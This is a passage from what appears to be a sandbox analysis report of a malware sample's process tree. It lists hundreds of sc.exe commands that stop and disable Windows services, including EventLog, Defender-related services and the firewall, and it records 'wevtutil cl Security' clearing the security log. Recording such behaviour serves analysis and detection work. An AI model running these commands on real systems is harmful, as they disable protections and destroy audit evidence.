      PID:2032
  - - C:\Windows\system32\sc.exe
      "sc" config edgeupdatem start= disabled
      4⤵
      Launches sc.exe
      PID:820
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" cl Security
      4⤵
      Clears Windows event logs
      PID:4056
  - - C:\Windows\system32\sc.exe
      "sc" config edgeupdate start= disabled
      4⤵
      PID:3048
  - - C:\Windows\system32\sc.exe
      "sc" config EFS start= disabled
      4⤵
      PID:5224
  - - C:\Windows\system32\sc.exe
      "sc" stop embeddedmode
      4⤵
      PID:2144
  - - C:\Windows\system32\sc.exe
      "sc" stop EntAppSvc
      4⤵
      PID:4040
  - - C:\Windows\system32\sc.exe
      "sc" stop EventLog
      4⤵
      PID:4952
  - - C:\Windows\system32\sc.exe
      "sc" stop EventSystem
      4⤵
      PID:1632
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3348
  - - C:\Windows\system32\sc.exe
      "sc" stop fdPHost
      4⤵
      PID:3384
  - - C:\Windows\system32\sc.exe
      "sc" stop FDResPub
      4⤵
      PID:3376
  - - C:\Windows\system32\sc.exe
      "sc" stop fhsvc
      4⤵
      PID:5228
  - - C:\Windows\system32\sc.exe
      "sc" stop FontCache
      4⤵
      PID:1704
  - - C:\Windows\system32\sc.exe
      "sc" config embeddedmode start= disabled
      4⤵
      PID:2340
  - - C:\Windows\system32\sc.exe
      "sc" config EntAppSvc start= disabled
      4⤵
      PID:3456
  - - C:\Windows\system32\sc.exe
      "sc" config EventSystem start= disabled
      4⤵
      PID:5332
  - - C:\Windows\system32\sc.exe
      "sc" config FDResPub start= disabled
      4⤵
      PID:1392
  - - C:\Windows\system32\sc.exe
      "sc" config EventLog start= disabled
      4⤵
      PID:1156
  - - C:\Windows\system32\sc.exe
      "sc" config fdPHost start= disabled
      4⤵
      PID:5956
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic" computersystem set AutomaticManagedPagefile=False
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2176
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1204
  - - C:\Windows\system32\sc.exe
      "sc" config FontCache start= disabled
      4⤵
      PID:2328
  - - C:\Windows\system32\sc.exe
      "sc" config fhsvc start= disabled
      4⤵
      PID:4716
  - - C:\Windows\system32\sc.exe
      "sc" stop FontCache3.0.0.0
      4⤵
      PID:4560
  - - C:\Windows\system32\sc.exe
      "sc" stop FrameServer
      4⤵
      PID:2532
  - - C:\Windows\system32\sc.exe
      "sc" stop FrameServerMonitor
      4⤵
      PID:5864
  - - C:\Windows\system32\sc.exe
      "sc" stop GameInputSvc
      4⤵
      PID:1040
  - - C:\Windows\system32\sc.exe
      "sc" stop GoogleChromeElevationService
      4⤵
      PID:5352
  - - C:\Windows\system32\sc.exe
      "sc" stop GoogleUpdaterInternalService141.0.7340.0
      4⤵
      PID:548
  - - C:\Windows\system32\sc.exe
      "sc" stop GoogleUpdaterService141.0.7340.0
      4⤵
      PID:2600
  - - C:\Windows\system32\sc.exe
      "sc" stop gpsvc
      4⤵
      PID:2480
  - - C:\Windows\system32\sc.exe
      "sc" config FontCache3.0.0.0 start= disabled
      4⤵
      PID:5820
  - - C:\Windows\system32\sc.exe
      "sc" config FrameServerMonitor start= disabled
      4⤵
      PID:1276
  - - C:\Windows\system32\sc.exe
      "sc" config GameInputSvc start= disabled
      4⤵
      PID:5792
  - - C:\Windows\system32\sc.exe
      "sc" config FrameServer start= disabled
      4⤵
      PID:5092
  - - C:\Windows\system32\sc.exe
      "sc" config GoogleUpdaterInternalService141.0.7340.0 start= disabled
      4⤵
      PID:1260
  - - C:\Windows\system32\sc.exe
      "sc" config GoogleChromeElevationService start= disabled
      4⤵
      PID:2900
  - - C:\Windows\system32\sc.exe
      "sc" config GoogleUpdaterService141.0.7340.0 start= disabled
      4⤵
      Launches sc.exe
      PID:2252
  - - C:\Windows\system32\sc.exe
      "sc" config gpsvc start= disabled
      4⤵
      PID:5972
  - - C:\Windows\system32\sc.exe
      "sc" stop GraphicsPerfSvc
      4⤵
      PID:5904
  - - C:\Windows\system32\sc.exe
      "sc" stop hidserv
      4⤵
      PID:5644
  - - C:\Windows\system32\sc.exe
      "sc" stop HvHost
      4⤵
      PID:3584
  - - C:\Windows\system32\sc.exe
      "sc" stop icssvc
      4⤵
      PID:1720
  - - C:\Windows\system32\sc.exe
      "sc" stop IKEEXT
      4⤵
      PID:3364
  - - C:\Windows\system32\sc.exe
      "sc" stop InstallService
      4⤵
      PID:5540
  - - C:\Windows\system32\sc.exe
      "sc" stop InventorySvc
      4⤵
      PID:1288
  - - C:\Windows\system32\sc.exe
      "sc" stop iphlpsvc
      4⤵
      PID:3036
  - - C:\Windows\system32\sc.exe
      "sc" config HvHost start= disabled
      4⤵
      PID:4144
  - - C:\Windows\system32\sc.exe
      "sc" config hidserv start= disabled
      4⤵
      PID:4520
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2856
  - - C:\Windows\system32\sc.exe
      "sc" config GraphicsPerfSvc start= disabled
      4⤵
      Launches sc.exe
      PID:472
  - - C:\Windows\system32\sc.exe
      "sc" config icssvc start= disabled
      4⤵
      PID:3736
  - - C:\Windows\system32\sc.exe
      "sc" config IKEEXT start= disabled
      4⤵
      PID:2384
  - - C:\Windows\system32\sc.exe
      "sc" config InstallService start= disabled
      4⤵
      PID:5764
  - - C:\Windows\system32\sc.exe
      "sc" config InventorySvc start= disabled
      4⤵
      PID:6092
  - - C:\Windows\system32\sc.exe
      "sc" config iphlpsvc start= disabled
      4⤵
      PID:4320
  - - C:\Windows\system32\powercfg.exe
      "powercfg" /h off
      4⤵
      Power Settings
      PID:3776
  - - C:\Windows\system32\sc.exe
      "sc" stop IpxlatCfgSvc
      4⤵
      Launches sc.exe
      PID:1048
  - - C:\Windows\system32\sc.exe
      "sc" stop KeyIso
      4⤵
      PID:4724
  - - C:\Windows\system32\sc.exe
      "sc" stop KtmRm
      4⤵
      PID:1180
  - - C:\Windows\system32\sc.exe
      "sc" stop LanmanServer
      4⤵
      PID:2788
  - - C:\Windows\system32\sc.exe
      "sc" stop LanmanWorkstation
      4⤵
      PID:3488
  - - C:\Windows\system32\sc.exe
      "sc" stop lfsvc
      4⤵
      PID:2024
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2380
  - - C:\Windows\system32\sc.exe
      "sc" stop LicenseManager
      4⤵
      PID:2692
  - - C:\Windows\system32\sc.exe
      "sc" config IpxlatCfgSvc start= disabled
      4⤵
      PID:3148
  - - C:\Windows\system32\sc.exe
      "sc" stop lltdsvc
      4⤵
      PID:5048
  - - C:\Windows\system32\sc.exe
      "sc" config KeyIso start= disabled
      4⤵
      PID:2592
  - - C:\Windows\system32\sc.exe
      "sc" config KtmRm start= disabled
      4⤵
      PID:1216
  - - C:\Windows\system32\sc.exe
      "sc" config LanmanServer start= disabled
      4⤵
      PID:5224
  - - C:\Windows\system32\sc.exe
      "sc" config LanmanWorkstation start= disabled
      4⤵
      PID:1268
  - - C:\Windows\system32\sc.exe
      "sc" stop lmhosts
      4⤵
      PID:2180
  - - C:\Windows\system32\sc.exe
      "sc" config lfsvc start= disabled
      4⤵
      PID:3464
  - - C:\Windows\system32\sc.exe
      "sc" config LicenseManager start= disabled
      4⤵
      Launches sc.exe
      PID:4496
  - - C:\Windows\system32\sc.exe
      "sc" config lltdsvc start= disabled
      4⤵
      PID:2884
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4256
  - - C:\Windows\system32\sc.exe
      "sc" stop LocalKdc
      4⤵
      PID:4684
  - - C:\Windows\system32\sc.exe
      "sc" stop LSM
      4⤵
      PID:1404
  - - C:\Windows\system32\sc.exe
      "sc" stop LxpSvc
      4⤵
      PID:5932
  - - C:\Windows\system32\sc.exe
      "sc" stop MapsBroker
      4⤵
      PID:3724
  - - C:\Windows\system32\sc.exe
      "sc" stop McpManagementService
      4⤵
      PID:2148
  - - C:\Windows\system32\sc.exe
      "sc" config lmhosts start= disabled
      4⤵
      PID:2668
  - - C:\Windows\system32\sc.exe
      "sc" stop MicrosoftEdgeElevationService
      4⤵
      PID:696
  - - C:\Windows\system32\sc.exe
      "sc" stop MozillaMaintenance
      4⤵
      PID:5948
  - - C:\Windows\system32\sc.exe
      "sc" config LxpSvc start= disabled
      4⤵
      PID:3528
  - - C:\Windows\system32\sc.exe
      "sc" config LocalKdc start= disabled
      4⤵
      Launches sc.exe
      PID:3040
  - - C:\Windows\system32\sc.exe
      "sc" config LSM start= disabled
      4⤵
      PID:2644
  - - C:\Windows\system32\sc.exe
      "sc" config MapsBroker start= disabled
      4⤵
      PID:4820
  - - C:\Windows\system32\sc.exe
      "sc" config McpManagementService start= disabled
      4⤵
      PID:5212
  - - C:\Windows\system32\sc.exe
      "sc" config MicrosoftEdgeElevationService start= disabled
      4⤵
      PID:1740
  - - C:\Windows\system32\sc.exe
      "sc" stop mpssvc
      4⤵
      PID:2824
  - - C:\Windows\system32\sc.exe
      "sc" stop MSDTC
      4⤵
      PID:4380
  - - C:\Windows\system32\sc.exe
      "sc" stop MSiSCSI
      4⤵
      PID:3568
  - - C:\Windows\system32\sc.exe
      "sc" config MozillaMaintenance start= disabled
      4⤵
      PID:3580
  - - C:\Windows\system32\sc.exe
      "sc" stop msiserver
      4⤵
      PID:4776
  - - C:\Windows\system32\sc.exe
      "sc" stop MsKeyboardFilter
      4⤵
      PID:3972
  - - C:\Windows\system32\sc.exe
      "sc" stop NaturalAuthentication
      4⤵
      PID:5792
  - - C:\Windows\system32\sc.exe
      "sc" stop NcaSvc
      4⤵
      PID:904
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3888
  - - C:\Windows\system32\sc.exe
      "sc" config mpssvc start= disabled
      4⤵
      PID:1828
  - - C:\Windows\system32\sc.exe
      "sc" config MSDTC start= disabled
      4⤵
      PID:1400
  - - C:\Windows\system32\sc.exe
      "sc" config MSiSCSI start= disabled
      4⤵
      PID:1840
  - - C:\Windows\system32\sc.exe
      "sc" config MsKeyboardFilter start= disabled
      4⤵
      PID:2868
  - - C:\Windows\system32\sc.exe
      "sc" stop NcbService
      4⤵
      PID:2924
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3584
  - - C:\Windows\system32\sc.exe
      "sc" config msiserver start= disabled
      4⤵
      PID:2536
  - - C:\Windows\system32\sc.exe
      "sc" config NcaSvc start= disabled
      4⤵
      PID:5688
  - - C:\Windows\system32\sc.exe
      "sc" stop NcdAutoSetup
      4⤵
      PID:6064
  - - C:\Windows\system32\sc.exe
      "sc" stop Netlogon
      4⤵
      PID:1148
  - - C:\Windows\system32\sc.exe
      "sc" config NaturalAuthentication start= disabled
      4⤵
      PID:5484
  - - C:\Windows\system32\sc.exe
      "sc" config NcbService start= disabled
      4⤵
      PID:5844
  - - C:\Windows\system32\sc.exe
      "sc" stop Netman
      4⤵
      PID:2796
  - - C:\Windows\system32\sc.exe
      "sc" stop netprofm
      4⤵
      PID:6116
  - - C:\Windows\system32\sc.exe
      "sc" stop NetSetupSvc
      4⤵
      PID:5860
  - - C:\Windows\system32\sc.exe
      "sc" stop NetTcpPortSharing
      4⤵
      Launches sc.exe
      PID:4600
  - - C:\Windows\system32\sc.exe
      "sc" config NcdAutoSetup start= disabled
      4⤵
      PID:4240
  - - C:\Windows\system32\sc.exe
      "sc" stop NgcCtnrSvc
      4⤵
      PID:472
  - - C:\Windows\system32\sc.exe
      "sc" config Netlogon start= disabled
      4⤵
      PID:5248
  - - C:\Windows\system32\sc.exe
      "sc" config Netman start= disabled
      4⤵
      PID:260
  - - C:\Windows\system32\sc.exe
      "sc" stop NgcSvc
      4⤵
      PID:1344
  - - C:\Windows\system32\sc.exe
      "sc" config NetSetupSvc start= disabled
      4⤵
      PID:4012
  - - C:\Windows\system32\sc.exe
      "sc" config NetTcpPortSharing start= disabled
      4⤵
      PID:4740
  - - C:\Windows\system32\sc.exe
      "sc" config NgcCtnrSvc start= disabled
      4⤵
      PID:1544
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1888
  - - C:\Windows\system32\sc.exe
      "sc" config NgcSvc start= disabled
      4⤵
      PID:4724
  - - C:\Windows\system32\sc.exe
      "sc" stop NlaSvc
      4⤵
      PID:5548
  - - C:\Windows\system32\sc.exe
      "sc" stop nsi
      4⤵
      PID:4912
  - - C:\Windows\system32\sc.exe
      "sc" stop ose64
      4⤵
      PID:5944
  - - C:\Windows\system32\sc.exe
      "sc" stop PcaSvc
      4⤵
      PID:4476
  - - C:\Windows\system32\sc.exe
      "sc" stop PeerDistSvc
      4⤵
      PID:3284
  - - C:\Windows\system32\sc.exe
      "sc" stop perceptionsimulation
      4⤵
      PID:3308
  - - C:\Windows\system32\sc.exe
      "sc" config nsi start= disabled
      4⤵
      PID:3148
  - - C:\Windows\system32\sc.exe
      "sc" stop PerfHost
      4⤵
      PID:512
  - - C:\Windows\system32\sc.exe
      "sc" config NlaSvc start= disabled
      4⤵
      PID:2112
  - - C:\Windows\system32\sc.exe
      "sc" config ose64 start= disabled
      4⤵
      PID:4028
  - - C:\Windows\system32\sc.exe
      "sc" config PcaSvc start= disabled
      4⤵
      PID:3172
  - - C:\Windows\system32\sc.exe
      "sc" config PeerDistSvc start= disabled
      4⤵
      PID:3924
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5224
  - - C:\Windows\system32\sc.exe
      "sc" stop PhoneSvc
      4⤵
      PID:4160
  - - C:\Windows\system32\sc.exe
      "sc" config perceptionsimulation start= disabled
      4⤵
      PID:4392
  - - C:\Windows\system32\sc.exe
      "sc" config PerfHost start= disabled
      4⤵
      PID:4044
  - - C:\Windows\system32\sc.exe
      "sc" stop pla
      4⤵
      Launches sc.exe
      PID:6040
  - - C:\Windows\system32\sc.exe
      "sc" stop PlugPlay
      4⤵
      Launches sc.exe
      PID:2988
  - - C:\Windows\system32\sc.exe
      "sc" stop PolicyAgent
      4⤵
      PID:3992
  - - C:\Windows\system32\sc.exe
      "sc" stop Power
      4⤵
      PID:2884
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4304
  - - C:\Windows\system32\sc.exe
      "sc" stop PrintDeviceConfigurationService
      4⤵
      PID:3600
  - - C:\Windows\system32\sc.exe
      "sc" config PhoneSvc start= disabled
      4⤵
      PID:3296
  - - C:\Windows\system32\sc.exe
      "sc" stop PrintNotify
      4⤵
      PID:4684
  - - C:\Windows\system32\sc.exe
      "sc" config PlugPlay start= disabled
      4⤵
      PID:2320
  - - C:\Windows\system32\sc.exe
      "sc" config pla start= disabled
      4⤵
      PID:2612
  - - C:\Windows\system32\sc.exe
      "sc" config Power start= disabled
      4⤵
      PID:3448
  - - C:\Windows\system32\sc.exe
      "sc" config PolicyAgent start= disabled
      4⤵
      PID:2872
  - - C:\Windows\system32\sc.exe
      "sc" stop PrintScanBrokerService
      4⤵
      PID:2940
  - - C:\Windows\system32\sc.exe
      "sc" config PrintDeviceConfigurationService start= disabled
      4⤵
      PID:3040
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4560
  - - C:\Windows\system32\sc.exe
      "sc" config PrintNotify start= disabled
      4⤵
      PID:5424
  - - C:\Windows\system32\sc.exe
      "sc" stop ProfSvc
      4⤵
      PID:1064
  - - C:\Windows\system32\sc.exe
      "sc" stop PushToInstall
      4⤵
      PID:3748
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3900
  - - C:\Windows\system32\sc.exe
      "sc" stop QWAVE
      4⤵
      PID:2980
  - - C:\Windows\system32\sc.exe
      "sc" stop RasAuto
      4⤵
      PID:2052
  - - C:\Windows\system32\sc.exe
      "sc" config PrintScanBrokerService start= disabled
      4⤵
      PID:2348
  - - C:\Windows\system32\sc.exe
      "sc" stop RasMan
      4⤵
      PID:5352
  - - C:\Windows\system32\sc.exe
      "sc" stop refsdedupsvc
      4⤵
      PID:3732
  - - C:\Windows\system32\sc.exe
      "sc" config ProfSvc start= disabled
      4⤵
      PID:2444
  - - C:\Windows\system32\sc.exe
      "sc" config PushToInstall start= disabled
      4⤵
      PID:1480
  - - C:\Windows\system32\sc.exe
      "sc" config QWAVE start= disabled
      4⤵
      PID:3580
  - - C:\Windows\system32\sc.exe
      "sc" config RasAuto start= disabled
      4⤵
      PID:4680
  - - C:\Windows\system32\sc.exe
      "sc" config refsdedupsvc start= disabled
      4⤵
      PID:1596
  - - C:\Windows\system32\sc.exe
      "sc" config RasMan start= disabled
      4⤵
      PID:2616
  - - C:\Windows\system32\sc.exe
      "sc" stop RemoteAccess
      4⤵
      PID:4648
  - - C:\Windows\system32\sc.exe
      "sc" stop RemoteRegistry
      4⤵
      Launches sc.exe
      PID:1276
  - - C:\Windows\system32\sc.exe
      "sc" stop RetailDemo
      4⤵
      PID:4700
  - - C:\Windows\system32\sc.exe
      "sc" stop RmSvc
      4⤵
      PID:5404
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1840
  - - C:\Windows\system32\sc.exe
      "sc" stop RpcEptMapper
      4⤵
      PID:3656
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3248
  - - C:\Windows\system32\sc.exe
      "sc" stop RpcLocator
      4⤵
      PID:1900
  - - C:\Windows\system32\sc.exe
      "sc" config RemoteRegistry start= disabled
      4⤵
      PID:1872
  - - C:\Windows\system32\sc.exe
      "sc" stop RpcSs
      4⤵
      PID:5420
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3364
  - - C:\Windows\system32\sc.exe
      "sc" config RetailDemo start= disabled
      4⤵
      Launches sc.exe
      PID:3116
  - - C:\Windows\system32\sc.exe
      "sc" config RemoteAccess start= disabled
      4⤵
      PID:1188
  - - C:\Windows\system32\sc.exe
      "sc" config RpcEptMapper start= disabled
      4⤵
      PID:5692
  - - C:\Windows\system32\sc.exe
      "sc" config RpcSs start= disabled
      4⤵
      Launches sc.exe
      PID:508
  - - C:\Windows\system32\sc.exe
      "sc" stop SamSs
      4⤵
      PID:2876
  - - C:\Windows\system32\sc.exe
      "sc" config RpcLocator start= disabled
      4⤵
      PID:4960
  - - C:\Windows\system32\sc.exe
      "sc" stop SCardSvr
      4⤵
      PID:5652
  - - C:\Windows\system32\sc.exe
      "sc" stop ScDeviceEnum
      4⤵
      PID:4452
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4184
  - - C:\Windows\system32\sc.exe
      "sc" stop Schedule
      4⤵
      PID:5764
  - - C:\Windows\system32\sc.exe
      "sc" stop SCPolicySvc
      4⤵
      Launches sc.exe
      PID:4768
  - - C:\Windows\system32\sc.exe
      "sc" config SamSs start= disabled
      4⤵
      Launches sc.exe
      PID:3788
  - - C:\Windows\system32\sc.exe
      "sc" stop SDRSVC
      4⤵
      PID:4448
  - - C:\Windows\system32\sc.exe
      "sc" config SCardSvr start= disabled
      4⤵
      PID:3304
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1048
  - - C:\Windows\system32\sc.exe
      "sc" config ScDeviceEnum start= disabled
      4⤵
      PID:4556
  - - C:\Windows\system32\sc.exe
      "sc" config Schedule start= disabled
      4⤵
      PID:840
  - - C:\Windows\system32\sc.exe
      "sc" stop seclogon
      4⤵
      Launches sc.exe
      PID:5648
  - - C:\Windows\system32\sc.exe
      "sc" config SCPolicySvc start= disabled
      4⤵
      PID:5564
  - - C:\Windows\system32\sc.exe
      "sc" stop SecurityHealthService
      4⤵
      PID:5944
  - - C:\Windows\system32\sc.exe
      "sc" stop SEMgrSvc
      4⤵
      PID:1028
  - - C:\Windows\system32\sc.exe
      "sc" config SDRSVC start= disabled
      4⤵
      Launches sc.exe
      PID:5436
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3284
  - - C:\Windows\system32\sc.exe
      "sc" stop SENS
      4⤵
      PID:2640
  - - C:\Windows\system32\sc.exe
      "sc" config seclogon start= disabled
      4⤵
      PID:616
  - - C:\Windows\system32\sc.exe
      "sc" config SEMgrSvc start= disabled
      4⤵
      PID:2492
  - - C:\Windows\system32\sc.exe
      "sc" stop Sense
      4⤵
      PID:3376
  - - C:\Windows\system32\sc.exe
      "sc" config SecurityHealthService start= disabled
      4⤵
      Launches sc.exe
      PID:4952
  - - C:\Windows\system32\sc.exe
      "sc" stop SensorDataService
      4⤵
      PID:2440
  - - C:\Windows\system32\sc.exe
      "sc" stop SensorService
      4⤵
      PID:4044
  - - C:\Windows\system32\sc.exe
      "sc" stop SensrSvc
      4⤵
      PID:5232
  - - C:\Windows\system32\sc.exe
      "sc" config SENS start= disabled
      4⤵
      PID:3480
  - - C:\Windows\system32\sc.exe
      "sc" stop SessionEnv
      4⤵
      PID:5796
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:6136
  - - C:\Windows\system32\sc.exe
      "sc" config SensorDataService start= disabled
      4⤵
      PID:3820
  - - C:\Windows\system32\sc.exe
      "sc" config Sense start= disabled
      4⤵
      PID:6040
  - - C:\Windows\system32\sc.exe
      "sc" config SessionEnv start= disabled
      4⤵
      PID:1392
  - - C:\Windows\system32\sc.exe
      "sc" stop SgrmBroker
      4⤵
      PID:4716
  - - C:\Windows\system32\sc.exe
      "sc" config SensorService start= disabled
      4⤵
      PID:5852
  - - C:\Windows\system32\sc.exe
      "sc" config SensrSvc start= disabled
      4⤵
      PID:5080
  - - C:\Windows\system32\sc.exe
      "sc" stop SharedAccess
      4⤵
      Launches sc.exe
      PID:2580
  - - C:\Windows\system32\sc.exe
      "sc" stop ShellHWDetection
      4⤵
      PID:3600
  - - C:\Windows\system32\sc.exe
      "sc" config netprofm start= disabled
      4⤵
      PID:5012
  - - C:\Windows\system32\sc.exe
      "sc" stop shpamsvc
      4⤵
      PID:4840
  - - C:\Windows\system32\sc.exe
      "sc" config SgrmBroker start= disabled
      4⤵
      PID:4820
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2940
  - - C:\Windows\system32\sc.exe
      "sc" stop smphost
      4⤵
      PID:5964
  - - C:\Windows\system32\sc.exe
      "sc" stop SmsRouter
      4⤵
      PID:5424
  - - C:\Windows\system32\sc.exe
      "sc" config ShellHWDetection start= disabled
      4⤵
      PID:5040
  - - C:\Windows\system32\sc.exe
      "sc" config SharedAccess start= disabled
      4⤵
      PID:2244
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1064
  - - C:\Windows\system32\sc.exe
      "sc" stop SNMPTrap
      4⤵
      PID:4856
  - - C:\Windows\system32\sc.exe
      "sc" config shpamsvc start= disabled
      4⤵
      PID:1740
  - - C:\Windows\system32\sc.exe
      "sc" stop Spooler
      4⤵
      PID:2488
  - - C:\Windows\system32\sc.exe
      "sc" config SmsRouter start= disabled
      4⤵
      PID:6024
  - - C:\Windows\system32\sc.exe
      "sc" stop sppsvc
      4⤵
      PID:2992
  - - C:\Windows\system32\sc.exe
      "sc" stop SSDPSRV
      4⤵
      PID:5856
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2684
  - - C:\Windows\system32\sc.exe
      "sc" config smphost start= disabled
      4⤵
      PID:2436
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5352
  - - C:\Windows\system32\sc.exe
      "sc" config SNMPTrap start= disabled
      4⤵
      PID:2348
  - - C:\Windows\system32\sc.exe
      "sc" config Spooler start= disabled
      4⤵
      PID:2336
  - - C:\Windows\system32\sc.exe
      "sc" stop ssh-agent
      4⤵
      PID:964
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2900
  - - C:\Windows\system32\sc.exe
      "sc" config SSDPSRV start= disabled
      4⤵
      Launches sc.exe
      PID:1088
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2616
  - - C:\Windows\system32\sc.exe
      "sc" config sppsvc start= disabled
      4⤵
      PID:4100
  - - C:\Windows\system32\sc.exe
      "sc" stop SstpSvc
      4⤵
      PID:1828
  - - C:\Windows\system32\sc.exe
      "sc" stop StateRepository
      4⤵
      PID:352
  - - C:\Windows\system32\sc.exe
      "sc" stop StiSvc
      4⤵
      PID:1132
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5904
  - - C:\Windows\system32\sc.exe
      "sc" stop StorSvc
      4⤵
      PID:2776
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:5116
  - - C:\Windows\system32\sc.exe
      "sc" config ssh-agent start= disabled
      4⤵
      PID:4432
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3116
  - - C:\Windows\system32\sc.exe
      "sc" config SstpSvc start= disabled
      4⤵
      Launches sc.exe
      PID:5840
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1848
  - - C:\Windows\system32\sc.exe
      "sc" stop svsvc
      4⤵
      PID:5540
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2176
  - - C:\Windows\system32\sc.exe
      "sc" stop swprv
      4⤵
      PID:4772
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1900
  - - C:\Windows\system32\sc.exe
      "sc" config StateRepository start= disabled
      4⤵
      PID:3392
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4372
  - - C:\Windows\system32\sc.exe
      "sc" config StiSvc start= disabled
      4⤵
      PID:4144
  - - C:\Windows\system32\sc.exe
      "sc" config StorSvc start= disabled
      4⤵
      PID:5692
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:6092
  - - C:\Windows\system32\sc.exe
      "sc" stop SysMain
      4⤵
      PID:4784
  - - C:\Windows\system32\sc.exe
      "sc" config swprv start= disabled
      4⤵
      PID:1812
  - - C:\Windows\system32\sc.exe
      "sc" stop SystemEventsBroker
      4⤵
      PID:704
  - - C:\Windows\system32\sc.exe
      "sc" stop TapiSrv
      4⤵
      PID:4452
  - - C:\Windows\system32\sc.exe
      "sc" config svsvc start= disabled
      4⤵
      PID:5028
  - - C:\Windows\system32\sc.exe
      "sc" stop TermService
      4⤵
      PID:3304
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4724
  - - C:\Windows\system32\sc.exe
      "sc" stop TextInputManagementService
      4⤵
      PID:5876
  - - C:\Windows\system32\sc.exe
      "sc" stop Themes
      4⤵
      PID:5052
  - - C:\Windows\system32\sc.exe
      "sc" config SysMain start= disabled
      4⤵
      PID:4364
  - - C:\Windows\system32\sc.exe
      "sc" config SystemEventsBroker start= disabled
      4⤵
      PID:4052
  - - C:\Windows\system32\sc.exe
      "sc" config TapiSrv start= disabled
      4⤵
      PID:2164
  - - C:\Windows\system32\sc.exe
      "sc" stop TieringEngineService
      4⤵
      PID:3488
  - - C:\Windows\system32\sc.exe
      "sc" config TermService start= disabled
      4⤵
      PID:5768
  - - C:\Windows\system32\sc.exe
      "sc" config TextInputManagementService start= disabled
      4⤵
      Launches sc.exe
      PID:1580
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4032
  - - C:\Windows\system32\sc.exe
      "sc" stop TimeBrokerSvc
      4⤵
      PID:5816
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1884
  - - C:\Windows\system32\sc.exe
      "sc" stop TokenBroker
      4⤵
      PID:5944
  - - C:\Windows\system32\sc.exe
